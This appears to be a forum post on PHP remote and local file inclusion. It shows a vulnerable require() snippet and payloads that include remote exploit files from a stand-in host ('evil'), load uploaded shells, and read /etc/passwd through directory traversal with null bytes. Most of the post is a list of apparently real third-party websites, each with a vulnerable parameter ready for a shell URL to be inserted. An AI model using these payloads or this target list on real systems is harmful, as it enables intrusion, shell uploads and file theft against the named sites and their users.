$_GET, $_POST, $_COOKIE
<?php
$color = 'red';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
<form method="get" action="<?php $_SERVER['PHP_SELF']?>">
<select name="COLOR">
<option value="black">black</option>
<option value="red">red</option>
</select>
<input type="submit">
</form>
[LIST]
[*]site.com/vuln.php?COLOR=https://evil/exploit? - injects a remotely hosted file containing an exploit.
[*]site.com/vuln.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
[*]site.com/vuln.php?COLOR=../../../../../../../../etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
[*]cite.com/vuln.php?COLOR=C:\\shell.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php.
[/LIST]
news.php?id=1
https://site.com/shell.txt?
so it would look like this
news.php?id=https://site.com/shell.txt?
https://www.zephyrlogic.com/newboard//latest/sirini_gallery_latest/list.php?path=%url??
https://www.monicaherrera.com/site//components/com_fabrik/libs/Blowfish/CBC.php?mosConfig_absolute_path=%url??
https://www.alsfilm.net/forum//?sourcedir=%url??
https://justfunradio.de//popup.php?path=%url??
https://www.fandomat.ru//index.php?DOCUMENT_ROOT=%url??
https://www.guok.ru/center/yoga/?_SERVER[DOCUMENT_ROOT]=%url??
https://www.brisbo.dk//ktmllite/includes/ktedit/toolbar.php?dirDepth=%url??
https://www.guok.ru/center/yoga/cigun/?_SERVER[DOCUMENT_ROOT]=%url??
https://www.guok.ru/?_SERVER[DOCUMENT_ROOT]=%url??
https://spb.startelecom.ru/spbforum/?_SERVER[DOCUMENT_ROOT]=%url??
https://www.sexcam-tv.de//?_SERVER%5BDOCUMENT_ROOT%5D=%url??
https://www.microworks.co.za/Voyager/components/com_moofaq/includes/file_includer.php?gzip=0&file=%url??
https://comm.southalabama.edu//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=%url??
https://happymaker.or.kr/?_zb_path=%url??
https://www.wolfems.com/components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=%url??
https://www.greenkings.co.uk/nuke//arcade.php?phpbb_root_path=%url??
https://www.forex-experts.com//components/com_simpleboard/image_upload.php?sbp=%url??

Copyright © 2026, NextGenUpdate.
All Rights Reserved.